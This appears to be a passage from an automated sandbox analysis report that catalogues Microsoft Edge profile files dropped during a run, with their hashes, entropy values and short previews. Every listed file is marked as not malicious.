Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.10929819790534
Encrypted:	false
SSDEEP:	192:stgkdpd/sWAyaNP9kWVG8jbV+FNgQA+eMPhYJ:stgQd/sWAtJBbGSQu7
MD5:	FAF111FCCD9E3A8121695D9D066190D0
SHA1:	68F4567E1B7F0A4C4FFD2F4EE7EDEA9B230DB6FB
SHA-256:	C51A931085A2E6C581F286A3276F3EF8CCA1B9C4266676C2D840A99D934CAB13
SHA-512:	DA72247DD899C886E9D80B8A0E402F8CAD17E79C377931390E09BE1B97F5EEDB05E4A0CB7D136B13B7B82935D5326C00F024D4A0C3D8AE8513AAAF295E025580
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376696683618403","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10214160238660115
Encrypted:	false
SSDEEP:	12:+5H5yLspEjVl/PnnnnnnnnnnnvoQ/Eou:+xboPnnnnnnnnnnnv1j
MD5:	CCF7A3276D38ED0FD607DEDA502AA0DD
SHA1:	A68738E17B9E904F5E946F75D575784E32F995A3
SHA-256:	326DF759BA65B5EAD5B760A840808CA768EAD316184D3AEF4B0450DDFC4438F9
SHA-512:	CC7D95B3C298DAC0A116ED94563ED7E5D00FDA871FD9A5FEC62EF80CE067E700C57B6BBE9201586D83FECCB0D5D2B1E4000318151536325ABED198BB8D6D63C4
Malicious:	false
Preview:	..-.............M.......4.7.2...3.-.....j.....j...-.............M.......4.7.2...3.-.....j.....j.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8846666175453145
Encrypted:	false
SSDEEP:	384:x1Lap2FheR5OClaXzRJCT1VKxlnSb0V1yzsv8nyRyQPyey+AySxy62:q4
MD5:	2D00D9DE7613C0ED5420B4AAAC1B90D3
SHA1:	7F02D24845BB2629ED3A42AFE8068A2B7D0EC616
SHA-256:	DA7C3B8708B70C45BFEAB772FB892C8FB347E503E5C7D0DA23E817306759EC9D
SHA-512:	0149D91C5E0ED5DC0C5E0A3E5C375A9BD09C5A6530E268F32779DCAAA1BD9EDB8A18D8AC223E7A4E2E27D40644EB3D666D6E2350D85928B2636D83803DE392DE
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.004265875788338
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuudZnillrP1+twsedhOaF:llc8BOuuuuuuuuuuudMllrP1+j89F
MD5:	758A4AB9298F225BA61B3DF380177986
SHA1:	3A16C59E6B0D2E693A0AB091F913337614BF9C6E
SHA-256:	BA0421F6984CA018D19D3E1626FFE3FA40092F071310746EAC7AEAD42D5BA6E8
SHA-512:	C9C994C81E1DE7671A86CD6817191AA1928E6C41276AF64E0766628E29F76B7A16EF1A0300466F4CE81AD464ECA3055F4FBE602E36B68EA740E1E63D1CE94029
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............b..f;...............#38_h.......6.Z..W.F.....P1q.....P1q..........V.e..................N.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.267531665908502
Encrypted:	false
SSDEEP:	6:HE9iq2PcNwi23oH+TcwtfrK+IFUt8YE90Zmw+YE93kwOcNwi23oH+TcwtfrUeLJ:k9ivLZYeb23FUt8/90/+/9354ZYeb3J
MD5:	C32B80ABEFDC58D68BDE5E416E16F9AD
SHA1:	798222E3D3975F3675810271319CA870A50EDDB8
SHA-256:	DBEE7E4DFD0939C1F75FE1074D35F81CDC3730CF5CFB04C0E68B79AB65636643
SHA-512:	FFD178DED9CE00F4D01FD270A489EB407F8175AF544ECA0030B1838ACAA220D56CC9647380B75DFD9D226A28F8F7C8E75F0B87824931F3193AF05827A8C0C2B1
Malicious:	false
Preview:	2024/11/21-16:04:43.655 584 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/21-16:04:43.656 584 Recovering log #3.2024/11/21-16:04:43.657 584 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.267531665908502
Encrypted:	false
SSDEEP:	6:HE9iq2PcNwi23oH+TcwtfrK+IFUt8YE90Zmw+YE93kwOcNwi23oH+TcwtfrUeLJ:k9ivLZYeb23FUt8/90/+/9354ZYeb3J
MD5:	C32B80ABEFDC58D68BDE5E416E16F9AD
SHA1:	798222E3D3975F3675810271319CA870A50EDDB8
SHA-256:	DBEE7E4DFD0939C1F75FE1074D35F81CDC3730CF5CFB04C0E68B79AB65636643
SHA-512:	FFD178DED9CE00F4D01FD270A489EB407F8175AF544ECA0030B1838ACAA220D56CC9647380B75DFD9D226A28F8F7C8E75F0B87824931F3193AF05827A8C0C2B1
Malicious:	false
Preview:	2024/11/21-16:04:43.655 584 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/21-16:04:43.656 584 Recovering log #3.2024/11/21-16:04:43.657 584 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.236959858255472
Encrypted:	false
SSDEEP:	6:HE9Gdq2PcNwi23oH+TcwtfrzAdIFUt8YE9gQTZmw+YE9B6kwOcNwi23oH+Tcwtfa:k9GdvLZYeb9FUt8/9VT/+/9B654ZYebS
MD5:	755D09D7EF40B7CCC7A96C4B3D5FDB15
SHA1:	D47C0994D5E53B093F1313DAE9B057E36F52DEC7
SHA-256:	440E7B4CA072C3AE41D8E275F5C52B1F90EF386685CD62F211B15F027439789B
SHA-512:	8070F22C7DC35F4F1B2C5463B43FDA203C2420CAF9924764A1B194D8C30214CEECA00B2C6DE683010053592304256D527B273159B397203194EBE8F0DF176E40
Malicious:	false
Preview:	2024/11/21-16:04:43.624 584 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/21-16:04:43.626 584 Recovering log #3.2024/11/21-16:04:43.627 584 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.236959858255472
Encrypted:	false
SSDEEP:	6:HE9Gdq2PcNwi23oH+TcwtfrzAdIFUt8YE9gQTZmw+YE9B6kwOcNwi23oH+Tcwtfa:k9GdvLZYeb9FUt8/9VT/+/9B654ZYebS
MD5:	755D09D7EF40B7CCC7A96C4B3D5FDB15
SHA1:	D47C0994D5E53B093F1313DAE9B057E36F52DEC7
SHA-256:	440E7B4CA072C3AE41D8E275F5C52B1F90EF386685CD62F211B15F027439789B
SHA-512:	8070F22C7DC35F4F1B2C5463B43FDA203C2420CAF9924764A1B194D8C30214CEECA00B2C6DE683010053592304256D527B273159B397203194EBE8F0DF176E40
Malicious:	false
Preview:	2024/11/21-16:04:43.624 584 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/21-16:04:43.626 584 Recovering log #3.2024/11/21-16:04:43.627 584 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2747a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2748a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2765f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29d4f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2ea56.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38752.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
